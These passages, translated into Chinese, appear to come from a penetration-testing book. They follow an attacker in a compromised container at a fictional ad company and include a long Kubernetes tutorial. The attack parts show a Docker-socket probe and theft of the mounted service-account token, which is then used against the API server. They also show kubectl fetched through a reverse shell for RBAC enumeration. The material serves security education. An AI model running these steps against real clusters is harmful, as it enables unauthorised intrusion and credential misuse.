现在我们可以回到我们的调查应用程序,检查我们是否能轻松突破命名空间隔离。我们列出了 /dev 文件夹的内容,但结果缺少了所有经典的伪设备文件,如 ttysdamem,这些文件通常暗示着特权模式。一些管理员用一系列个体权限或能力来替代特权模式。可以把 能力 看作是对传统上归属于 Linux 上万能 root 用户的权限的精细化分解。拥有 CAP_NET_ADMIN 能力的用户可以在网络堆栈上执行 root 操作,例如更改 IP 地址、绑定低端端口以及进入混杂模式嗅探流量。然而,该用户将无法挂载文件系统,例如。那项操作需要 CAP_SYS_ADMIN 能力。

当容器所有者通过 --add-cap 标志指示时,Docker 可以向容器附加额外的能力。这些强大的能力中的一些可以用来突破命名空间隔离,访问其他容器,甚至通过嗅探路由到其他容器的包、加载在主机上执行代码的内核模块或挂载其他容器的文件系统来危及主机。

我们通过检查 /proc 文件系统来列出当前 surveysapp 容器的能力,然后使用 capsh 工具将其解码为有意义的权限:

shell> **cat /proc/self/status |grep Cap**
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

root@Bouncer:/# capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid
,cap_kill,cap_setgid,cap_setuid,cap_setpcap,...

我们当前用户的有效和允许的能力是 CapPrmCapEff,这相当于我们在容器内可以从 root 用户那里期望得到的正常权限集合:终止进程(CAP_KILL)、更改文件所有者(CAP_CHOWN)等等。所有这些操作都严格限制在当前命名空间内,因此我们仍然被困在这里。

Docker 套接字

接下来,我们查找 /var/run/docker.sock 文件,这是与主机上的 Docker 守护进程通信的 REST API。如果我们能从容器内访问这个套接字,例如通过简单的 curl 命令,我们可以指示它启动一个特权容器,然后获得对主机系统的 root 访问权限。我们首先检查 docker.sock

shell> **curl --unix-socket /var/run/docker.sock http://localhost/images/json**
curl: (7) Couldn't connect to server

shell> **ls /var/run/docker.sock**
ls: cannot access '/var/run/docker.sock': No such file or directory
shell> **mount | grep docker**

# docker.sock not found

这没有运气。我们随后检查了内核的版本,希望能找到一个带有文档漏洞的版本来攻破主机,但我们再次失败。该机器运行的是 4.14.146 内核,在我运行这个时,这个版本仅比最新版本落后几版:

shell> **uname -a**
Linux f1a7a6f60915 4.14.146-119.123.amzn2.x86_64 #1

总的来说,我们在一台没有明显配置错误或漏洞的最新机器上以一个相对无能的 root 用户身份运行。我们始终可以在实验室里设置一个类似的内核,然后深入研究内存结构和 syscalls,直到找到一个零日漏洞来突破命名空间隔离,但我们把这当作最后的手段来使用。

任何理智的人被困在笼子里时,第一反应就是试图挣脱。这是一个高尚的情感。但是,如果我们可以在被禁锢的情况下实现我们最阴险的目标,那为什么一开始要浪费时间去锯开笼子呢?

降落到主机上并检查其他容器当然很好,但考虑到当前的环境,我认为是时候从这扇被锁住的窗户后退一步,放下那把无用的钝锤,转而关注更大的局面了。

忘了从这个单一、无关紧要的主机上突破吧。如何一举摧毁整个楼层——不,整个大楼呢?那才是值得一说的故事。

还记得我们在第 92 页的“任意代码执行”中如何转储环境变量吗?我们确认了模板注入漏洞,并重点关注了与 Django 相关的变量,因为那是当前任务的核心,但如果你仔细观察,或许会发现更为重要的线索。一些更宏大的东西。

让我再展示一次输出结果:

shell> **env**

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
`--snip--`

我们正在一个由 Kubernetes 集群管理的容器内运行!别管这个孤独的、人员过多的工作机器;我们有机会摧毁整个王国!

资源

关于容器突破的精彩文章是《The Route to Root: Container Escape Using Kernel Exploitation》,在这篇文章中,Nimrod Stoler 利用 CVE-2017-7308 实现了逃离隔离的过程:bit.ly/2TfZHV1 其他漏洞的描述可以在unit42.paloaltonetworks.com/找到。*

第七章:幕后

也许你总是在市场上最新最潮的技术发布时就跟进。也许你太忙于破解 Windows 域,没时间关注自己领域之外的最新趋势。但无论你这几年是过得像个弃儿,还是在各大会议之间巡回演讲,你一定听过关于某种神奇新生物的传闻和低语——那就是Kubernetes,终极容器编排和部署解决方案。

Kube 的狂热者会告诉你,这项技术解决了管理员和 DevOps 面临的所有重大挑战。它号称开箱即用,简直是魔法,他们这么说。是的,给一个无助的人一套翼装,指向远处山脉中的一个小洞,然后把他推下去。Kubernetes 可不是什么魔法。它很复杂。它是由各种不协调的成分交织在一起,像一团乱麻,最终被每个人最头痛的敌人:iptables 和 DNS 绑定在一起。

对我们这些黑客来说,最棒的部分是什么?在首次公开发布后,花了一个非常有才华的工程师团队整整两年时间才推出安全功能。有人可能会对他们的优先级提出质疑,但我个人是感激的。如果合格的、高薪的工程师在 2017 年设计了未经认证的 API 和不安全的系统,那我又能说什么呢?任何帮助都非常感激,伙计们。

话虽如此,我相信 Kubernetes 是一项强大且具有颠覆性的技术。它可能会长期存在,并且有潜力在公司架构中扮演至关重要的角色,以至于我觉得有必要为大家呈现一场关于它内部运作的速成课程。如果你已经从零部署过集群,或者编写过自己的控制器,那么你可以跳过这一章。否则,请继续阅读。你可能不会成为 Kube 专家,但我敢保证,你会学到足够的知识来破解它。

黑客们不会满足于“魔法”这一说法。我们将拆解 Kube,探索它的各个组件,学习识别一些常见的错误配置。MXR Ads 将是完美的实践场所。准备好来破解一些 Kube 吧!

Kubernetes 概述

Kubernetes 是解答“如何高效管理成千上万个容器?”这一问题的答案。如果你在第三章中设置的基础设施上稍微玩一下容器,你很快就会遇到一些令人沮丧的限制。例如,要部署一个新的容器镜像版本,你必须修改用户数据并重启或推出新机器。想想看:为了重置一些进程,这个本应仅需几秒钟的操作,你却需要配置一台全新的机器。同样,唯一的动态扩展环境的方式——比如说,如果你想将容器数量加倍——就是增加机器并将它们隐藏在负载均衡器后面。我们的应用程序以容器形式存在,但我们只能在机器级别进行操作。

Kube 通过提供一个运行、管理和调度容器的环境,解决了这个以及更多问题,使得多个机器之间的容器管理变得高效。想要再添加两个 Nginx 容器?没问题。只需一个命令:

root@DemoLab:/# kubectl scale --replicas=3 deployment/nginx

想要更新生产环境中部署的 Nginx 容器版本吗?现在不需要重新部署机器了。只需请求 Kube 滚动发布新更新,无需停机:

root@DemoLab:/# kubectl set image deployment/nginx-deployment\
**nginx=nginx:1.9.1 --record**

想要立即在 VPC vpc-b95e4bdf 上某个机器 i-1b2ac87e65f15 上运行的容器编号 7543 上获得 shell 吗?忘掉获取主机 IP、注入私钥、SSH、docker exec 等等吧。现在可不是 2012 年了!只需从你的笔记本电脑上执行一个简单的 kubectl exec 命令即可:

root@DemoLab:/# kubectl exec sparcflow/nginx-7543 bash
root@sparcflow/nginx-7543:/#

难怪这个庞然大物征服了所有 DevOps 社区的心智。它优雅、高效,直到最近,曾经是如此不安全!几年前,你只需指向一个 URL,就可以执行上述所有操作以及更多操作,而无需任何身份验证。Nichtszilchnada。而且那只是一个入口点,另外三个入口也提供类似的访问。那真是残酷。

然而,在过去两年左右的时间里,Kubernetes 实现了许多新的安全功能,从基于角色的访问控制到网络过滤。虽然一些公司仍然停留在 1.8 之前的集群版本,但大多数公司都在运行比较现代的版本,因此我们将使用一个完全修补和加固的 Kubernetes 集群来增加难度。

在本章的其余部分,假设我们有一百台由 AWS 提供的机器,完全受 Kubernetes 的支配。这些机器组成了我们常说的 Kubernetes 集群。我们将在解构整个过程之前先使用一些基本命令,所以接下来的几段请容忍部分信息。这一切最终都会理顺。

引入 Pods

我们的 Kubernetes 之旅从一个运行应用程序的容器开始。这个应用程序严重依赖于第二个容器,后者包含一个小型本地数据库来响应查询。这时,pods 登场了。Pod 本质上是一个或多个容器,Kubernetes 将它们视为一个整体。Pod 中的所有容器将一起调度、一起启动、一起终止(参见 图 7-1)。

你与 Kubernetes 交互的最常见方式是提交 清单文件。这些文件描述了基础设施的 期望状态,例如哪些 pod 应该运行,使用哪个镜像,它们如何相互通信,等等。在 Kubernetes 中,一切都围绕着那个期望状态展开。实际上,Kube 的主要任务就是将这个期望状态变为现实并保持不变。

f07001

图 7-1:由 Nginx 和 Redis 容器组成的一个 pod

在清单 7-1 中,我们创建一个清单文件,为由两个容器组成的 Pod 打上标签app: myapp:一个 Nginx 服务器监听 8080 端口,另一个是可用 6379 端口的 Redis 数据库。以下是描述此设置的 YAML 语法:

# myapp.yaml file
# Minimal description to start a pod with 2 containers
apiVersion: v1
kind: Pod  # We want to deploy a pod
metadata:
  name: myapp # Name of the pod
  labels:
    app: myapp # Label used to search/select the pod
spec:
  containers:
    - name: nginx   # First container
      image: sparcflow/nginx # Name of the public image
      ports:
        - containerPort: 8080 # Listen on the pod's IP address
    - name: mydb   # Second container
      image: redis # Name of the public image
      ports:
        - containerPort: 6379

清单 7-1:创建包含两个容器的 Pod 的清单文件

我们使用 kubectl 工具发送这个清单,kubectl 是与 Kubernetes 集群交互的旗舰程序。你需要从kubernetes.io/docs/tasks/tools/install-kubectl/ 下载 kubectl。

我们更新 kubectl 配置文件~/.kube/config,使其指向我们的集群(稍后会详细介绍),然后提交清单 7-1 中的清单文件:

root@DemLab:/# kubectl apply -f myapp.yaml

root@DemLab:/# kubectl get pods
NAME    READY   STATUS         RESTARTS   AGE
myapp   2/2     Running        0          1m23s

由两个容器组成的 Pod 现在已成功运行在集群中 100 台机器中的一台上。位于同一 Pod 中的容器被视为一个整体,因此 Kube 使它们共享相同的卷和网络命名空间。结果是,我们的 Nginx 和数据库容器具有相同的 IP 地址(10.0.2.3),该地址从网络桥接 IP 池中选择(有关详细信息,请参见第 119 页的“资源”部分),并且它们可以使用其命名空间隔离的本地主机地址(127.0.0.1)互相通信,如图 7-2 所示。这很方便。

f07002

图 7-2:Pod、容器和宿主机(节点)的网络配置

每个 Pod 都有一个 IP 地址,并运行在一个虚拟或裸金属机器上,称为节点。我们集群中的每台机器都是一个节点,因此集群有 100 个节点。每个节点都托管着一个带有一些特殊 Kubernetes 工具和程序的 Linux 发行版,用于与集群中的其他节点同步。

一个 Pod 很棒,但两个更好,特别是为了提高弹性,第二个 Pod 可以在第一个失败时作为备份。那么我们该怎么办呢?提交相同的清单两次?不,我们创建一个部署对象,可以复制 Pod,如图 7-3 所示。

f07003

图 7-3:一个 Kube 部署对象

一个部署描述了在任何给定时间应该运行多少个 Pod,并监督复制策略。如果 Pod 发生故障,它将自动重启;但它的关键特性是滚动更新。例如,如果我们决定更新容器的镜像,并提交一个更新的部署清单,它将以一种策略性方式替换 Pod,确保在更新过程中应用的持续可用性。如果出现问题,新的部署将回滚到之前的期望状态。

让我们删除之前的独立 Pod,以便将其作为部署对象的一部分重新创建:

root@DemoLab:/# kubectl delete -f myapp.yaml

要将 pod 创建为部署对象,我们推送一个新的类型为Deployment的清单文件,指定要复制的容器标签,并在清单文件中附加前一个 pod 的配置(参见列表 7-2)。Pod 通常作为部署资源的一部分进行创建。

# deployment_myapp.yaml file
# Minimal description to start 2 pods
apiVersion: apps/v1
kind: Deployment # We push a deployment object
metadata:
  name: myapp # Deployment's name
spec:
  selector:
    matchLabels: # The label of the pods to manage
      app: myapp
  replicas: 2 # Tells deployment to run 2 pods
  template: # Below is the classic definition of a pod
    metadata:
      labels:
        app: myapp # Label of the pod
    spec:
 containers:
        - name: nginx   # First container
          image: sparcflow/nginx
          ports:
            - containerPort: 8080
        - name: mydb   # Second container
          image: redis
          ports:
            - containerPort: 6379

列表 7-2:将我们的 pod 重新创建为部署对象

现在我们提交清单文件并查看新部署的 pod 详情:

root@DemLab:/# kubectl apply -f deployment_myapp.yaml
deployment.apps/myapp created
root@DemLab:/# kubectl get pods
NAME                READY   STATUS   RESTARTS   AGE
myapp-7db4f7-btm6s  2/2     Running  0          1m38s
myapp-9dc4ea-ltd3s  2/2     Running  0          1m43s

图 7-4 展示了这两个 pod 正在运行。

f07004

图 7-4:两个正在运行的 pod,每个 pod 由两个容器组成

所有属于同一 Kubernetes 集群的 pod 和节点可以自由通信,而不需要使用像网络地址转换(NAT)这样的伪装技术。这种自由通信是 Kubernetes 网络功能的标志之一。位于 B 机器上的 pod A 应该能够通过机器/路由器/子网/VPC 层定义的正常路由,访问位于 D 机器上的 pod C。这些路由是由设置 Kube 集群的工具自动创建的。

流量均衡

现在我们想要将流量均衡到这两个 pod。如果其中一个 pod 停止运行,数据包应自动路由到剩下的 pod,同时重新生成一个新的 pod。描述这个配置的对象叫做服务,如图 7-5 所示。

f07005

图 7-5:集群服务对象

一个服务的清单文件由元数据组成,这些元数据为服务和其路由规则添加标签,路由规则指定要访问的 pod 和监听的端口(参见列表 7-3)。

# myservice.yaml file
# Minimal description to start a service
apiVersion: v1
kind: Service # We are creating a service
metadata:
  name: myapp
  labels:
    app: myapp  # The service's tag
spec:
  selector:
    app: myapp # Target pods with the selector "app:myapp"
  ports:
    - protocol: TCP
      port: 80 # Service listens on port 80
      targetPort: 8080 # Forward traffic from port 80 to port 8080 on the pod

列表 7-3:服务清单文件

然后我们提交这个清单文件以创建服务,服务会被分配一个集群 IP,这个 IP 只能从集群内部访问:

root@DemLab:/# kubectl apply -f service_myapp.yaml
service/myapp created

root@DemLab:/# kubectl get svc myapp
NAME    TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)
myapp   ClusterIP   10.100.166.225   <none>        80/TCP

另一个机器上的 pod 如果想与我们的 Nginx 服务器通信,将把请求发送到集群 IP 的 80 端口,然后将流量转发到两个容器中的一个的 8080 端口。

让我们使用 Docker 公共镜像curlimages/curl快速启动一个临时容器来测试这个设置,并 ping 集群 IP:

root@DemLab:/# kubectl run -it --rm --image curlimages/curl mycurl -- sh

/$ curl 10.100.166.225
<h1>Listening on port 8080</h1>

很棒,我们可以从集群内访问 Nginx 容器。跟得上吗?太好了。

将应用暴露给外部世界

到目前为止,我们的应用仍然对外界封闭。只有内部的 pod 和节点知道如何联系集群 IP 或直接访问 pod。我们所在的计算机位于不同的网络上,缺少必要的路由信息来访问我们刚刚创建的任何资源。本教程的最后一步是通过NodePort使该服务能够从外部访问。该对象会在集群的每个节点上暴露一个端口,该端口会随机指向我们创建的两个 pod 之一(我们稍后会详细介绍)。即使是外部访问,我们也保留了弹性功能。

我们在清单文件中的先前服务定义中添加 type: NodePort

apiVersion: v1
`--snip--`
  selector:
    app: myapp # Target pods with the selector "app:myapp"
  type: NodePort
  ports:
`--snip--`

然后我们再次提交服务清单:

root@DemLab:/# kubectl apply -f service_myapp.yaml
service/myapp configured

root@DemLab:/# kubectl get svc myapp
NAME    TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)
myapp   NodePort   10.100.166.225   <none>        80:31357/TCP

任何请求到达任何节点外部 IP 上的 31357 端口时,都会随机地到达两个 Nginx Pod 之一。这里是一个快速测试:

root@AnotherMachine:/# curl 54.229.80.211:31357
<h1>Listening on port 8080</h1>

呼……完成了。我们还可以通过创建一个负载均衡器,暴露更多常见的端口,如 443 和 80,将流量路由到此节点端口,从而添加更多网络层次,但暂时就停在这里吧。

Kube 底层揭秘

我们有一个具有弹性、松散负载均衡、容器化的应用程序正在某处运行。接下来是有趣的部分。让我们拆解一下刚刚发生的事情,揭开每个在线教程似乎匆忙掩盖的肮脏秘密。

当我第一次开始玩 Kubernetes 时,创建服务时得到的集群 IP 地址让我困扰了很久。很多。它是从哪里来的?节点的子网是 192.168.0.0/16。容器们在它们自己的 10.0.0.0/16 池中游泳。那个 IP 是怎么来的?

我们可以列出集群中每个节点的每个接口,但永远也找不到那个 IP 地址。因为它根本不存在。字面上讲。它只是一个 iptables 目标规则。这个规则会被推送到所有节点,指示它们将所有针对这个不存在的 IP 的请求转发到我们创建的两个 Pod 之一。就这样。这就是一个服务对象——一堆由名为 kube-proxy 的组件编排的 iptables 规则。

Kube-proxy 也是一个 Pod,但确实是一个非常特殊的 Pod。它运行在集群的每个节点上,默默地编排网络流量。尽管名字是代理(proxy),但实际上它并不转发数据包,至少在近期版本中不是。它悄悄地在所有节点上创建和更新 iptables 规则,以确保网络包能够到达目的地。

当一个数据包到达(或试图离开)节点时,它会自动发送到 KUBE-SERVICES iptables 链,我们可以使用 iptables-save 命令查看该链:

root@KubeNode:/# iptables-save
-A PREROUTING -m comment --comment "kube" -j KUBE-SERVICES
`--snip--`

这个链尝试根据数据包的目标 IP 和端口(-d--dport 标志)将其与多个规则匹配:

`--snip--`
-A KUBE-SERVICES -d 10.100.172.183/32 -p tcp -m tcp --dport 80 -j KUBE-SVC-NPJI

这是我们调皮的集群 IP!任何发送到 10.100.172.183 地址的包都会被转发到链 KUBE-SVC-NPJ,该链在稍后的几行中定义:

`--snip--`
-A KUBE-SVC-NPJI -m statistic --mode random --probability 0.50000000000 -j KUBE-SEP-GEGI

-A KUBE-SVC-NPJI -m statistic --mode random --probability 0.50000000000 -j KUBE-SEP-VUBW

该链中的每条规则会随机匹配包 50% 的时间,并将其转发到一个不同的链,最终将包发送到正在运行的两个 Pod 之一。服务对象的韧性无非是 iptables 统计模块的反映:

`--snip--`
-A KUBE-SEP-GEGI -p tcp -m tcp -j DNAT --to-destination 192.168.127.78:8080

-A KUBE-SEP-VUBW -p tcp -m tcp -j DNAT --to-destination 192.168.155.71:8080

发送到节点端口的数据包将遵循相同的处理链,只是它将无法匹配任何集群 IP 规则,因此会自动转发到 KUBE-NODEPORTS 链。如果目标端口匹配预定义的节点端口,数据包就会被转发到我们看到的负载均衡链(KUBE-SVC-NPJI),该链将数据包随机分配到 Pod 中:

`--snip--`
-A KUBE-SERVICES -m comment --comment "last rule in this chain" -m addrtype
--dst-type LOCAL -j KUBE-NODEPORTS

-A KUBE-NODEPORTS -p tcp -m tcp --dport 31357 -j KUBE-SVC-NPJI

就是这么简单:一串巧妙的 iptables 规则和网络路由。

在 Kubernetes 中,每一个小任务都由一个专门的组件执行。Kube-proxy 负责网络配置。它的特殊之处在于它作为一个 pod 在每个节点上运行,而其余核心组件则在一个特定节点组(称为 master nodes)上的多个 pods 中运行。

在我们创建 100 台机器的集群时,100 个节点中有一个主节点将承载一组组成 Kubernetes 脊柱的 pods:API 服务器、kube-scheduler 和 controller manager(参见 图 7-6)。

f07006

图 7-6:运行在主节点上的 pods 与运行在普通节点上的 pods

实际上,当我们使用 kubectl apply 命令发送清单文件时,已经与主节点进行了交互。Kubectl 是一个封装器,它向至关重要的 API 服务器 pod 发送 HTTP 请求,这是获取和持久化集群所需状态的主要入口点。这里是一个典型的配置,可能会用来访问 Kube 集群(~/.kube/config):

apiVersion: v1
kind: Config
clusters:
- cluster:
 certificate-authority: /root/.minikube/ca.crt
    server: https://192.168.99.100:8443
  name: minikube
`--snip--`
users:
- name: sparc
  user:
    client-certificate: /root/.minikube/client.crt
    client-key: /root/.minikube/client.key
`--snip--`

在这个例子中,我们的 API 服务器 URL 是 https://192.168.99.100。你可以这样理解:API 服务器是唯一允许读取/写入数据库中所需状态的 pod。想列出 pods?请询问 API 服务器。想报告 pod 故障?告诉 API 服务器。它是主控者,负责协调 Kubernetes 中复杂的交响乐。

当我们通过 kubectl 向 API 服务器提交部署文件(HTTP)时,它进行了系列检查(身份验证和授权,我们将在第八章讨论),然后将该部署对象写入 etcd 数据库,这是一种使用 Raft 共识算法在多个节点(或 pods)之间保持一致和协调状态的键值数据库。在 Kube 中,etcd 描述了集群的所需状态,例如有多少个 pods,它们的清单文件,服务描述,节点描述等。

一旦 API 服务器将部署对象写入 etcd,所需状态就正式改变了。它会通知订阅了此特定事件的回调处理程序:deployment controller,这是另一个在主节点上运行的组件。

所有 Kube 交互都基于这种事件驱动的行为,这反映了 etcd 的 watch 功能。API 服务器接收到通知或执行某个操作。它读取或修改 etcd 中的所需状态,这会触发事件并将其传递给相应的处理程序。

部署控制器要求 API 服务器返回新的所需状态,发现部署已初始化,但没有找到它应管理的 pod 群组的任何参考。它通过创建一个 ReplicaSet 来解决这个差异,ReplicaSet 是描述一组 pod 复制策略的对象。

这个操作再次经过 API 服务器,后者再次更新状态。不过,这一次,事件被发送到 ReplicaSet 控制器,控制器发现期望的状态(两组 pod)与现实情况(没有 pod)不匹配。它继续创建容器定义。

这个过程(你猜对了)再次经过 API 服务器,服务器在修改状态后触发 pod 创建的回调, kube-scheduler(运行在主节点上的专用 pod)会监控该回调。

调度器在数据库中看到两个处于待处理状态的 pod。无法接受。它运行调度算法以找到合适的节点来托管这两个 pod,更新 pod 的描述并为其分配相应的节点,然后将这批 pod 提交到 API 服务器,存储在数据库中。

这一系列官僚式的疯狂过程的最后一部分是 kubelet:一个在每个工作节点上运行的进程(不是 pod!),定期从 API 服务器拉取应该运行的 pod 列表。kubelet 发现它的主机应该运行两个额外的容器,于是它通过容器运行时(通常是 Docker)启动这些容器。我们的 pod 终于活了起来。

复杂吗?我早就说过了。但不可否认,这种同步方案的美妙。虽然我们只讲解了众多可能的交互中的一个工作流,但放心,你应该能跟得上几乎所有关于 Kube 的文章。我们甚至准备将其推向下一个阶段——因为,别忘了,我们在 MXR Ads 还有一个真实的集群等着我们。

资源

  • 更多关于桥接和桥接池的细节可以在 Docker 文档中找到:docs.docker.com/network/bridge/

  • 亚马逊弹性 Kubernetes 服务(EKS)上的 pod 直接连接到弹性网络接口,而不是使用桥接网络;详情请见 amzn.to/37Rff5c

  • 更多关于 Kubernetes pod 到 pod 网络的信息,请参见 bit.ly/3a0hJjX

  • 这是一个关于从外部访问集群的其他方式的概述:bit.ly/30aGqFU

  • 更多关于 etcd 的信息,请参见 bit.ly/36MAjKrbit.ly/2sds4bg

  • 关于通过未经认证的 API 攻击 Kubernetes,详情见 bit.ly/36NBk4S

第八章:《肖申克的救赎》:越狱

拥有了对 Kubernetes 的全新理解后,我们回到了调查应用程序中的临时远程 shell,收集信息、提升权限,并希望能够找到有关用户定向的有趣数据。

我们恢复了之前在 surveyapp 容器中的 shell 访问,并查看了环境变量:

shell> **env**

KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443

通过我们的新知识,这些环境变量变得意义重大:KUBERNETES_PORT_443_TCP 必须指向隐藏 API 服务器的集群 IP,这个著名的 Kube 协调器。文档指出 API 遵循 OpenAPI 标准,因此我们可以使用臭名昭著的 curl 工具,访问默认的 /api 路由。curl 中的 -L 选项会跟随 HTTP 重定向,而 -k 选项则忽略 SSL 证书警告。我们在清单 8-1 中尝试了一下。

shell> **curl -Lk https://10.100.0.1/api**

message: forbidden: User "system:anonymous" cannot get path "/api",
reason: Forbidden

清单 8-1:尝试访问 API 服务器上的默认 /api 路由

啊,我们被锁定了。我们得到的响应并不令人惊讶。从 1.8 版本开始,Kubernetes 发布了稳定版的 基于角色的访问控制RBAC),这是一种安全模型,可以限制未经授权的用户访问 API 服务器。即使是监听在 8080 端口上的“不安全” API 也被限制为只允许本地地址访问:

shell> **curl -L http://10.100.0.1:8080**
(timeout)

为了看看我们是否能够绕过这一点,我们将更仔细地研究 Kubernetes 的 RBAC 系统。

Kube 中的 RBAC

Kubernetes RBAC 遵循了一个相当标准的实现。管理员可以为人工操作员创建用户账户,或为 pod 分配服务账户。每个用户或服务账户都可以绑定到一个持有特定权限的角色——如 getlistchange 等——该角色控制对 pod、节点和机密等资源的访问。主体(用户或服务账户)与角色之间的关联被称为 绑定

就像其他任何 Kube 资源一样,服务账户、角色及其绑定也定义在存储在 etcd 数据库中的清单文件中。服务账户的定义类似于清单 8-2。

# define a service account

apiVersion: v1
kind: ServiceAccount   # deploy a service account
metadata:
  - name: metrics-ro   # service account's name
--
# Bind metrics-ro account to cluster admin role

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: manager-binding # binding's name
subjects:
- kind: ServiceAccount
  name: metrics-ro      # service account's name
  apiGroup: ""
roleRef:
  kind: ClusterRole
  name: cluster-admin # default role with all privileges
  apiGroup: ""

清单 8-2:ClusterRoleBinding 清单文件

一个管理员如果想要将服务账户分配给普通的 pod,可以添加一个名为 serviceAccountName 的属性,像这样:

apiVersion: v1
kind: Pod  # We want to deploy a Pod
metadata:
`--snip--`
spec:
  containers:
    serviceAccountName: metrics-ro
    - name: nginx   # First container
`--snip--`

之前,我们在没有提供任何身份验证的情况下访问了 API 服务器——因此我们自然被分配了默认的 system:anonymous 用户,该用户没有任何权限。这使得我们无法访问 API 服务器。常识告诉我们,一个没有 serviceAccountName 属性的容器,也会继承相同的匿名账户状态。

这是一个合理的假设,但 Kube 的操作方式不同。每个没有服务账户的 pod 会自动分配 system:serviceaccount:default:default 账户。注意“匿名”和“默认”之间的微妙区别。默认看起来比匿名更不危险,它更值得信任,甚至在容器内部挂载了认证令牌!

我们搜索容器默认挂载的服务帐户:

shell> **mount |grep -i secrets**
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)

shell> **cat /run/secrets/kubernetes.io/serviceaccount/token**
eyJhbGciOiJSUzI1NiIsImtpZCI6ImQxNWY4MzcwNjI5Y2FmZGRi...

该帐户令牌实际上是一个签名的 JavaScript 对象表示法(JSON)字符串——也称为JSON Web TokenJWT)——包含识别服务帐户的信息。我们可以对 JWT 字符串的部分进行 base64 解码,以确认默认服务帐户的身份并获取一些信息:

shell> **cat /run/secrets/kubernetes.io/serviceaccount/token \**
**| cut -d "." -f 2 \**
**| base64 -d**

{
"iss": "kubernetes/serviceaccount",

"kubernetes.io/serviceaccount/namespace": "prod",

"kubernetes.io/serviceaccount/secret.name": "default-token-2mpcg",

"kubernetes.io/serviceaccount/service-account.name": "default",

"kubernetes.io/serviceaccount/service-account.uid": "956f6a5d-0854-11ea-9d5f-06c16d8c2dcc",

"sub": "system:serviceaccount:prod:default"
}

JWT 有几个常规字段,也称为注册声明:发行者(iss),在此情况下是 Kubernetes 服务帐户控制器;主题(sub),即帐户的名称;以及命名空间(稍后会详细说明),在此情况下是prod。显然,我们无法更改这些信息以冒充另一个帐户,否则会使附加到此 JSON 文件的签名无效。

命名空间是将 Kube 资源(如 Pods、服务帐户、秘密等)分组的逻辑分区,通常由管理员设置。它是一个软性隔离,允许更细粒度的 RBAC 权限;例如,具有“列出所有 Pods”权限的角色将仅限于列出属于其命名空间的 Pods。默认服务帐户也依赖于命名空间。我们刚刚检索到的帐户的标准名称是system:serviceaccount:prod:default

该令牌为我们提供了第二次查询 API 服务器的机会。我们将文件内容加载到TOKEN变量中,并重试我们在清单 8-1 中的第一个 HTTP 请求,将TOKEN变量作为Authorization头发送:

shell> **export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)**

shell> **curl -Lk https://10.100.0.1/api --header "Authorization: Bearer $TOKEN"**

 "kind": "APIVersions",
  "versions": ["v1"],
  "serverAddressByClientCIDRs": [{
    "clientCIDR": "0.0.0.0/0",
    "serverAddress": "ip-10-0-34-162.eu-west-1.compute.internal:443"
  }]

哦!看起来默认的服务帐户确实比匿名帐户拥有更多权限。我们成功地在集群内部获取了一个有效的身份。

侦查 2.0

现在进行一些侦查。我们下载位于https://10.100.0.1/openapi/v2端点的 API 规范并探索我们的选项。

我们从获取集群的/version端点开始。如果集群足够老,可能有机会利用公共漏洞提升权限:

shell> **curl -Lk https://10.100.0.1/version --header "Authorization: Bearer $TOKEN"**
{
    "major": "1",
    "minor": "14+",
    "gitVersion": "v1.14.6-eks-5047ed",
    "buildDate": "2019-08-21T22:32:40Z",
    "goVersion": "go1.12.9",
`--snip--`
}

MXR Ads 正在运行由 Elastic Kubernetes Service(EKS)支持的 Kubernetes 1.14,这是 AWS 托管版的 Kubernetes。在这种设置中,AWS 在他们自己的主节点池中托管 API 服务器、etcd 和其他控制器,这些节点也被称为控制平面。客户(此处为 MXR Ads)只托管工作节点(数据平面)。

这是重要信息,因为 AWS 版本的 Kube 允许 IAM 角色与服务帐户之间建立比自托管版本更强的绑定。如果我们攻破正确的 Pod 并获取令牌,我们不仅可以攻击 Kube 集群,还可以攻击 AWS 资源!

我们继续探索,通过尝试从我们获取的 OpenAPI 文档中使用几个 API 端点。我们尝试了api/v1/namespaces/default/secrets/api/v1/namespaces/default/serviceaccounts,以及一系列其他与 Kube 资源对应的端点,但我们反复收到 401 错误消息。如果我们继续这样下去,错误率将引起不必要的关注。幸运的是,有一个 Kube API 叫做/apis/authorization.k8s.io/v1/selfsubjectaccessreview,它可以立即告诉我们是否能够对给定对象执行操作。

手动通过curl查询调用它很麻烦,因为这需要一个长而丑陋的 JSON 负载,所以我们通过反向 Shell 下载 Kubectl 程序。这次我们不需要设置配置文件,因为 Kubectl 会自动发现由集群注入的环境变量,从挂载的目录加载当前令牌,并立即 100%正常运行。在这里,我们下载 Kubectl 二进制文件,使其可执行,并再次获取集群版本:

shell> **wget https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/kubectl**

shell> **chmod +x kubectl && ./kubectl version**

Server Version: version.Info {Major:"1", Minor:"14+", GitVersion:"v1.14.6-eks-5047ed"...

完美!一切正常运行。现在我们反复执行auth can-i命令,针对最常见的指令——get podsget servicesget rolesget secrets等——全面探索我们正在操作的默认令牌所分配的所有权限:

shell> ./**kubectl version auth can-i get nodes**
no
shell> ./**kubectl version auth can-i get pods**
yes

我们很快得出结论,目前我们唯一拥有的权限是列出集群中的 Pods。但当我们明确执行get pods命令时,出现了以下错误:

shell> **./kubectl get pods**
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:prod:default" cannot list resource "pods" in
API group "" in the namespace "default"

如果我们尝试针对prod命名空间——也就是托管我们服务账户的命名空间——进行操作,会怎么样呢?

shell> ./**kubectl get pods -n prod**

stats-deployment-41de-4jxa1     1/1 Running   0    13h51m

redis-depl-69dc-0vslf           1/1 Running   0    21h43m

ssp-elastic-depl-3dbc-3qozx     1/1 Running   0    14h39m

